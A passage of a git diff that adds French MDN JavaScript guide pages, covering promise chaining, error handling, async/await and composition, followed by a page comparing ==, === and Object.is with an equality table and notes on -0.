+<p>La deuxième promesse (<code>promise2</code>) indique l'état de complétion, pas uniquement pour <code>faireQqc()</code> mais aussi pour le callback qui lui a été passé (<code>successCallback</code> ou <code>failureCallback</code>) qui peut aussi être une fonction asynchrone qui renvoie une promesse. Lorsque c'est le cas, tous les <em>callbacks</em> ajoutés à <code>promise2</code> forment une file derrière la promesse renvoyée par <code>successCallback</code> ou <code>failureCallback</code>.</p>
+
+<p>Autrement dit, chaque promesse représente l'état de complétion d'une étape asynchrone au sein de cette succession d'étapes.</p>
+
+<p>Auparavant, l'enchaînement de plusieurs opérations asynchrones déclenchait une pyramide dantesque de <em>callbacks</em> :</p>
+
+<pre class="brush: js">faireQqc(function(result) {
+  faireAutreChose(result, function(newResult) {
+    faireUnTroisiemeTruc(newResult, function(finalResult) {
+      console.log('Résultat final :' + finalResult);
+    }, failureCallback);
+  }, failureCallback);
+}, failureCallback);
+</pre>
+
+<p>Grâce à des fonctions plus modernes et aux promesses, on attache les <em>callbacks</em> aux promesses qui sont renvoyées. On peut ainsi construire une <em>chaîne de promesses</em> :</p>
+
+<pre class="brush: js">faireQqc().then(function(result) {
+  return faireAutreChose(result);
+})
+.then(function(newResult) {
+  return faireUnTroisiemeTruc(newResult);
+})
+.then(function(finalResult) {
+  console.log('Résultat final : ' + finalResult);
+})
+.catch(failureCallback);
+</pre>
+
+<p>Les arguments passés à <code>then</code> sont optionnels. La forme <code>catch(failureCallback)</code> est un alias plus court pour <code>then(null, failureCallback)</code>. Ces chaînes de promesses sont parfois construites avec <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fléchées">des fonctions fléchées</a> :</p>
+
+<pre class="brush: js">faireQqc()
+.then(result =&gt; faireAutreChose(result))
+.then(newResult =&gt; faireUnTroisiemeTruc(newResult))
+.then(finalResult =&gt; {
+  console.log('Résultat final : ' + finalResult);
+})
+.catch(failureCallback);
+</pre>
+
+<div class="warning">
+<p><strong>Important :</strong> cela implique que les fonctions asynchrones renvoient toutes des promesses, sinon les <em>callbacks</em> ne pourront être chaînés et les erreurs ne seront pas interceptées (les fonctions fléchées ont une valeur de retour implicite si les accolades ne sont pas utilisées : <code>() =&gt; x</code> est synonyme de <code>() =&gt; { return x; }</code>).</p>
+</div>
+
+<h3 id="Chaînage_après_un_catch">Chaînage après un catch</h3>
+
+<p>Il est possible de chaîner de nouvelles actions <em>après</em> un rejet, c'est-à-dire un <code>catch</code>. C'est utile pour accomplir de nouvelles actions après qu'une action ait échoué dans la chaine. Par exemple :</p>
+
+<pre class="brush: js">new Promise((resolve, reject) =&gt; {
+    console.log('Initial');
+
+    resolve();
+})
+.then(() =&gt; {
+    throw new Error('Something failed');
+
+    console.log('Do this');
+})
+.catch(() =&gt; {
+    console.error('Do that');
+})
+.then(() =&gt; {
+    console.log('Do this whatever happened before');
+});
+</pre>
+
+<p>Cela va produire la sortie suivante :</p>
+
+<pre>Initial
+Do that
+Do this whatever happened before
+</pre>
+
+<p>Notez que le texte <q>Do this</q> n'est pas affiché car l'erreur <q>Something failed</q> a produit un rejet.</p>
+
+<h2 id="Propagation_des_erreurs">Propagation des erreurs</h2>
+
+<p>Dans les exemples précédents, <code>failureCallback</code> était présent trois fois dans la pyramide de <em>callbacks</em> et une seule fois, à la fin, dans la chaîne des promesses :</p>
+
+<pre class="brush: js">faireQqc()
+.then(result =&gt; faireAutreChose(result))
+.then(newResult =&gt; faireUnTroisiemeTruc(newResult))
+.then(finalResult =&gt; console.log('Résultat final : ' + finalResult))
+.catch(failureCallback);
+</pre>
+
+<p>En fait, dès qu'une exception est levée, la chaîne de promesses utilisera le premier <code>catch()</code> ou <code>onRejected</code> disponible. Ce fonctionnement est assez proche de ce qu'on peut trouver pour du code synchrone :</p>
+
+<pre class="brush: js">try {
+  const result = syncFaireQqc();
+  const newResult = syncFaireQqcAutre(result);
+  const finalResult = syncFaireUnTroisiemeTruc(newResult);
+  console.log('Résultat final : ' + finalResult);
+} catch(error) {
+  failureCallback(error);
+}
+</pre>
+
+<p>Cette symétrie entre le code asynchrone et le code synchrone atteint son paroxysme avec le couple d'opérateurs <a href="/fr/docs/Web/JavaScript/Reference/Instructions/async_function"><code>async</code>/<code>await</code></a> d'ECMAScript 2017:</p>
+
+<pre class="brush: js">async function toto() {
+  try {
+    const result = await faireQqc();
+    const newResult = await faireQqcAutre(result);
+    const finalResult = await faireUnTroisiemeTruc(newResult);
+    console.log('Résultat final : ' + finalResult);
+  } catch(error) {
+    failureCallback(error);
+  }
+}
+</pre>
+
+<p>Ce fonctionnement est construit sur les promesses et <code>faireQqc()</code> est la même fonction que celle utilisée dans les exemples précédents.</p>
+
+<p>Les promesses permettent de résoudre les problèmes de cascades infernales de <em>callbacks</em> notamment en interceptant les différentes erreurs (exceptions et erreurs de programmation). Ceci est essentiel pour obtenir une composition fonctionnelle des opérations asynchrones.</p>
+
+<h2 id="Évènements_liés_à_la_rupture_dune_promesse">Évènements liés à la rupture d'une promesse</h2>
+
+<p>Lorsqu'une promesse est rompue/rejetée, un des deux évènements suivants est envoyé au niveau de la portée globale ({{domxref("window")}} ou {{domxref("Worker")}} si le script est utilisé dans un <em>worker</em>) :</p>
+
+<dl>
+ <dt>{{domxref("Window.rejectionhandled_event","rejectionhandled")}}</dt>
+ <dd>Cet évènement est envoyé lorsqu'une promesse est rompue et après que le rejet ai été traité par la fonction <code>reject</code> associée à la promesse.</dd>
+ <dt>{{domxref("Window.unhandledrejection_event","unhandledrejection")}}</dt>
+ <dd>Cet évènement est envoyé lorsque la promesse est rompue et qu'aucune fonction n'a été définie pour gérer le rejet de la promesse.</dd>
+</dl>
+
+<p>Dans les deux cas, l'évènement (dont le type est {{domxref("PromiseRejectionEvent")}}) aura deux propriétés :</p>
+
+<dl>
+ <dt>{{domxref("PromiseRejectionEvent.promise","promise")}}</dt>
+ <dd>La promesse qui a été rompue.</dd>
+ <dt>{{domxref("PromiseRejectionEvent.reason","reason")}}</dt>
+ <dd>La raison pour laquelle la promesse a été rompue.</dd>
+</dl>
+
+<p>Gérer ces évènements permet d'avoir une ultime méthode pour gérer le rejet des promesses. Cela peut notamment s'avérer utile pour le débogage. Ces évènements sont déclenchés au niveau global et permettent ainsi d'intercepter les erreurs pour chaque contexte (fenêtre ou <em>worker</em>)</p>
+
+<pre class="brush: js">window.addEventListener("unhandledrejection", event =&gt; {
+  // Examiner la ou les promesse(s) qui posent problème en debug
+  // Nettoyer ce qui doit l'être quand ça se produit en réel
+
+}, false);</pre>
+
+<h2 id="Envelopper_les_callbacks_des_API">Envelopper les <em>callbacks</em> des API</h2>
+
+<p>Il est possible de créer un objet  {{jsxref("Promise")}} grâce à son constructeur. Et même si, idéalement, cela ne devrait pas être nécessaire, certaines API fonctionnent toujours avec des <em>callbacks</em> passés en arguments. C'est notamment le cas de la méthode  {{domxref("WindowTimers.setTimeout", "setTimeout()")}} :</p>
+
+<pre class="brush: js">setTimeout(() =&gt; saySomething("10 seconds passed"), 10 * 1000);
+</pre>
+
+<p>Si on mélange des <em>callbacks</em> et des promesses, cela sera problématique. Si  <code>saySomething</code> échoue ou contient des erreurs, rien n'interceptera l'erreur.</p>
+
+<p>Pour ces fonctions, la meilleure pratique consiste à les <em>envelopper</em> dans des promesses au plus bas niveau possible et de ne plus les appeler directement :</p>
+
+<pre class="brush: js">const wait = ms =&gt; new Promise(resolve =&gt; setTimeout(resolve, ms));
+
+wait(10 * 1000).then(() =&gt; saySomething("10 seconds")).catch(failureCallback);
+</pre>
+
+<p>Le constructeur <code>Promise</code> prend en argument une fonction et nous permet de la convertir manuellement en une promesse. Ici, vu que <code>setTimeout</code> n'échoue pas vraiment, on laisse de côté la gestion de l'échec.</p>
+
+<h2 id="Composition">Composition</h2>
+
+<p>{{jsxref("Promise.resolve()")}} et {{jsxref("Promise.reject()")}} sont des méthodes qui permettent de créer des promesses déjà tenues ou rompues.</p>
+
+<p>{{jsxref("Promise.all()")}} et {{jsxref("Promise.race()")}} sont deux outils de composition qui permettent de mener des opérations asynchrones en parallèle.</p>
+
+<p>On peut lancer des opérations en parallèles et attendre qu'elles soient toutes finies de cette façon :</p>
+
+<pre class="brush: js">Promise.all([func1(), func2(), func3()])
+.then(([resultat1, resultat2, resultat3]) =&gt; { /* où on utilise resultat1/2/3 */ });</pre>
+
+<p>Il est possible de construire une composition séquentielle de la façon suivante :</p>
+
+<pre class="brush: js">[func1, func2].reduce((p, f) =&gt; p.then(f), Promise.resolve());
+</pre>
+
+<p>Dans ce fragment de code, on réduit un tableau de fonctions asynchrones en une chaîne de promesse équivalente à : <code>Promise.resolve().then(func1).then(func2);</code></p>
+
+<p>On peut également accomplir cela avec une fonction de composition réutilisable  :</p>
+
+<pre class="brush: js">const applyAsync = (acc, val) =&gt; acc.then(val);
+const composeAsync = (...funcs) =&gt; x =&gt; funcs.reduce(applyAsync, Promise.resolve(x));</pre>
+
+<p>La fonction <code>composeAsync</code> accepte autant de fonctions que nécessaire comme arguments et renvoie une nouvelle fonction qui prend une valeur initiale pour la passer à travers ces étapes de compositions. Cette façon de faire garantit que les fonctions, qu'elles soient synchrones ou asynchrones, sont exécutées dans le bon ordre :</p>
+
+<pre class="brush: js">const transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2);
+transformData(data);</pre>
+
+<p>Avec ECMAScript 2017, on peut obtenir une composition séquentielle plus simplement avec les opérateurs <code>await</code>/<code>async</code> :</p>
+
+<pre class="brush: js">let result;
+for(const f of [func1, func2, func3]) {
+  result = await f(result);
+} </pre>
+
+<h2 id="Gestion_du_temps">Gestion du temps</h2>
+
+<p>Pour éviter de mauvaises surprises, les fonctions passées à <code>then()</code> ne seront jamais appelées de façon synchrone, y compris lorsqu'il s'agit d'une promesse déjà résolue :</p>
+
+<pre class="brush: js">Promise.resolve().then(() =&gt; console.log(2));
+console.log(1); // 1, 2
+</pre>
+
+<p>En fait, la fonction passée à <code>then</code><code>()</code> est placée dans une file de micro-tâches qui sont exécutées lorsque cette file est vidée à la fin de la boucle d'évènements JavaScript :</p>
+
+<pre class="brush: js">var wait = ms =&gt; new Promise(resolve =&gt; setTimeout(resolve, ms));
+
+wait().then(() =&gt; console.log(4));
+Promise.resolve().then(() =&gt; console.log(2)).then(() =&gt; console.log(3));
+console.log(1); // 1, 2, 3, 4
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Promise.then()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/async_function"><code>async</code>/<code>await</code></a></li>
+ <li><a href="http://promisesaplus.com/">La spécification Promises/A+</a></li>
+ <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nolan Lawson : We have a problem with promises — Common mistakes with promises (article en anglais)</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Le_modèle_objet_JavaScript_en_détails", "Web/JavaScript/Guide/iterateurs_et_generateurs")}}</p>
diff --git a/files/fr/web/javascript/guide/égalité_en_javascript/index.html b/files/fr/web/javascript/guide/égalité_en_javascript/index.html
new file mode 100644
index 0000000000..782e52f907
--- /dev/null
+++ b/files/fr/web/javascript/guide/égalité_en_javascript/index.html
@@ -0,0 +1,264 @@
+---
+title: L'égalité en JavaScript
+slug: Web/JavaScript/Guide/Égalité_en_JavaScript
+tags:
+  - Advanced
+  - Guide
+  - JavaScript
+  - Operators
+translation_of: Web/JavaScript/Equality_comparisons_and_sameness
+---
+<p>{{jsSidebar("JavaScript Guide")}}</p>
+<p>EcmaScript6 possède trois outils pour déterminer si deux valeurs x et y sont « égales ».  Il y a l'égalité simple (deux signes égal) (<a href="/fr/docs/JavaScript/Reference/R%C3%A9f%C3%A9rence_JavaScript/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison"><code>==</code></a>), l'égalité stricte (trois signes égal) (<a href="/fr/docs/JavaScript/Reference/R%C3%A9f%C3%A9rence_JavaScript/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison"><code>===</code></a>), et la méthode <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/is"><code>Object.is</code></a>. (Cette méthode a été ajoutée avec ES6. Les opérateurs d'égalité simple et stricte étaient présents en JavaScript avant ES6 et ont conservé leur comportement.)</p>
+<h2 id="Un_aperçu">Un aperçu</h2>
+<p>Voici comment utiliser chacun de ces outils de comparaisons :</p>
+<pre class="brush:js">x == y</pre>
+<pre class="brush:js">x === y</pre>
+<pre class="brush:js">Object.is(x, y)</pre>
+<p>En résumé : l'opérateur d'égalité simple effectuera une conversion de type entre les objets comparés, l'opérateur d'égalité stricte n'effectuera pas de conversion avant de comparer les objets (<code>false</code> est renvoyé automatiquement si les types sont différents), enfin <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/is"><code>Object.is</code></a> se comportera de la même façon que l'opérateur d'égalité stricte avec des règles supplémentaires pour les valeurs <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/NaN"><code>NaN</code></a>, <code>-0</code> et <code>+0</code>. <code>Object.is(-0, +0) </code>ne sera pas vérifié et <code>Object.is(NaN, NaN)</code> sera vrai. (Généralement, quand on compare <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/NaN"><code>NaN</code></a> et <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/NaN"><code>NaN</code></a>, on obtient le résultat <code>false</code> car la norme IEEE 754 indique que ce comportement est celui attendu pour l'égalité simple ou stricte.)</p>
+<p>Cette égalité ne s'applique qu'aux types de données primitifs, aucune des méthodes présentées ci-avant ne permet de comparer la structure de deux objets. Si deux objets x et y possèdent la même structure mais que ce sont des objets distincts, chacune de ces méthodes renverra le résultat <code>false</code>.</p>
+<p>Ainsi :</p>
+<pre class="brush:js">let x = { valeur: 17 };
+let y = { valeur: 17 };
+console.log(Object.is(x, y)); // false;
+console.log(x === y);         // false
+console.log(x == y);          // false</pre>
+<h2 id="Les_égalités_simples_strictes_et_les_valeurs_identiques">Les égalités simples, strictes et les valeurs identiques</h2>
+<p>Les comparaisons effectuées par les opérateurs d'égalité simple et d'égalité stricte sont décrites par EcmaScript5 : l'algorithme de l'opérateur <a href="/fr/docs/JavaScript/Reference/R%C3%A9f%C3%A9rence_JavaScript/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison"><code>==</code></a> est décrit dans la <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.3" title="http://ecma-international.org/ecma-262/5.1/#sec-11.9.3">section 11.9.3 (en anglais)</a> et l'algorithme de l'opérateur <a href="/fr/docs/JavaScript/Reference/R%C3%A9f%C3%A9rence_JavaScript/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison"><code>=== </code></a>est décrit dans la <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.6" title="http://ecma-international.org/ecma-262/5.1/#sec-11.9.6">section 11.9.6 (en anglais)</a>. Ces deux algorithmes sont expliqués de façon simple et concise, il est préferable de lire le deuxième algorithme avant le premier. ES5 décrit également l'algorithme utilisé en interne par le moteur JavaScript : <a href="http://ecma-international.org/ecma-262/5.1/#sec-9.12" title="http://ecma-international.org/ecma-262/5.1/#sec-9.12">section 9.12, The SameValue Algorithm (en anglais)</a>. Ce dernier algorithme est très proche de celui utilisé pour l'égalité stricte, ils différent de par leurs gestions différentes des nombres représentés sous forme d'objets <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Number"><code>Number</code></a>. <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/is"><code>Object.is</code></a> n'est que la retranscription de cet algorithme, utilisable depuis ES6.</p>
+<p>Excepté pour la conversion implicite, on peut voir que, pour les opérateurs d'égalité simple et stricte, l'algorithme d'égalité stricte est un sous-ensemble de l'égalité simple car 11.9.6.2-7 correspond à 11.9.3.1.a-f.</p>
+<h2 id="Comprendre_le_sens_des_différentes_égalités">Comprendre le sens des différentes égalités</h2>
+<p>Avant ES6, on pouvait penser que l'égalité stricte était une version « améliorée » de l'égalité simple, ou vice-versa. Par exemple, dans certains cas, on peut trouver que l'égalité simple est plus souple que l'égalité stricte car elle effectue une conversion des types (ce qui permet de vérifier <code>6 == "6"</code>). Au contraire, on peut trouver que l'égalité stricte est « meilleure » que l'égalité simple car il est nécessaire que les deux opérandes soient du même type. L'utilité de chaque opérateur dépend du cadre dans lequel on l'utilise.</p>
+<p><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/is"><code>Object.is</code></a>, en revanche, n'est pas plus souple ou plus stricte que ces égalités. Il n'est pas non plus un « intermédiaire » entre ces deux opérateurs. <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/is"><code>Object.is</code></a> diffère dans sa façon de gérer la valeur numérique spéciale <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/NaN"><code>NaN</code></a>. D'une certaine façon, <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/is">Object.is</a></code> se différencie en fonction de ses caractéristiques spéciales sur <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/NaN">NaN</a></code> et -0 et +0.</p>
+<table class="standard-table">
+ <caption>
+  Opérateurs d'égalité</caption>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">x</th>
+   <th scope="col" style="text-align: center;">y</th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>==</code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>===</code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>Object.is</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>undefined</code></td>
+   <td><code>undefined</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>null</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>"toto"</code></td>
+   <td><code>"toto"</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>{ toto: "truc" }</code></td>
+   <td><code>x</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>+0</code></td>
+   <td><code>-0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>"0"</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>"17"</code></td>
+   <td><code>17</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>new String("toto")</code></td>
+   <td><code>"toto"</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>undefined</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>undefined</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>{ toto: "truc" }</code></td>
+   <td><code>{ toto: "truc" }</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>new String("toto")</code></td>
+   <td><code>new String("toto")</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>null</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>"toto"</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>NaN</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Dans_quels_cas_utiliser_Object.is_ou_l'opérateur_d'égalité_stricte">Dans quels cas utiliser <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/is"><code>Object.is</code></a> ou l'opérateur d'égalité stricte</h2>
+<p>En dehors du traîtement effectué pour <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/NaN"><code>NaN</code></a>, <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/is"><code>Object.is</code></a> s'avère utile lorsqu'on manipule des valeurs très proches de 0 (parfois utilisées pour la métaprogrammation et notamment pour les descripteurs de propriétés et qu'on souhaite reproduire certaines caractéristiques de <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/defineProperty"><code>Object.defineProperty</code></a>). Si on n'a pas ce cas de figure à gérer, il est conseillé d'utiliser <a href="/fr/docs/JavaScript/Reference/R%C3%A9f%C3%A9rence_JavaScript/Op%C3%A9rateurs/Op%C3%A9rateurs_de_comparaison"><code>===</code></a>. Même dans l'éventualité où on devrait gérer une comparaison entre deux valeurs <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/NaN"><code>NaN</code></a> il est souvent plus facile de traiter le cas particulier en utilisant la fonction <a href="/fr/docs/JavaScript/R%C3%A9f%C3%A9rence_JavaScript/R%C3%A9f%C3%A9rence_JavaScript/Fonctions_globales/isNaN"><code>isNaN</code></a> présente dans les anciennes versions d'ECMAScript.</p>
+<p>Voici une liste (non exhaustive) des méthodes et opérateurs qui pourraient entraîner une apparition des valeurs <code>-0</code> et <code>+0</code> :</p>
+<dl>
+ <dt>
+  <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#N.C3.A9gation_unaire_(-)"><code>- (négation unaire)</code></a></dt>
+</dl>
+<dl>
+ <dd>
+  <p>Il peut sembler évident que l'opposé de <code>0</code> est <code>-0</code> mais lorsque que cette opération est réalisée dans une expression, il est plus facile d'identifier la transformation qui s'est effectuée. Par exemple :</p>
+  <pre class="brush:js">let forceFrottement = obj.masse * -obj.vitesse</pre>
+  <p>Si <code>obj.vitesse </code>vaut <code>0</code>, on aura <code>-0</code> comme résultat du calcul, et c'est cette valeur qui sera assignée à <code>forceFrottement</code></p>
+ </dd>
+</dl>
+<dl>
+ <dt>
+  <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/atan2"><code>Math.atan2</code></a></dt>
+ <dt>
+  <a href="/fr/docs/JavaScript/Reference/Objets_globaux/Math/ceil"><code>Math.ceil</code></a></dt>
+ <dt>
+  <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/pow"><code>Math.pow</code></a></dt>
+ <dt>
+  <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/round"><code>Math.round</code></a></dt>
+</dl>
+<dl>
+ <dd>
+  La valeur <code>-0</code> peut être produite par ces méthodes (et donc introduite dans une expression qui les comportent), même dans le cas où <code>-0</code> n'est pas un argument. Par exemple, si on utilise <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/pow"><code>Math.pow</code></a> pour calculer <code>-<a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Infinity">Infinity</a></code> à une puissance entière impaire et négative, on obtiendra <code>-0</code>. Voir les différentes pages sur ces méthodes pour plus d'informations.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/floor"><code>Math.floor</code></a></dt>
+ <dt>
+  <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/max"><code>Math.max</code></a></dt>
+ <dt>
+  <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/min"><code>Math.min</code></a></dt>
+ <dt>
+  <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/sin"><code>Math.sin</code></a></dt>
+ <dt>
+  <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/sqrt"><code>Math.sqrt</code></a></dt>
+ <dt>
+  <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/tan"><code>Math.tan</code></a></dt>
+</dl>
+<dl>
+ <dd>
+  Ces méthodes peuvent produire la valeur <code>-0</code> si c'est un des paramètres de la fonction. Par exemple, <code>Math.min(-0, +0)</code> vaudra <code>-0</code>. Voir les différentes pages sur ces méthodes pour plus d'informations.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires">~</a></code></dt>
+ <dt>
+  <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires">&lt;&lt;</a></code></dt>
+ <dt>
+  <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires">&gt;&gt;</a></code></dt>
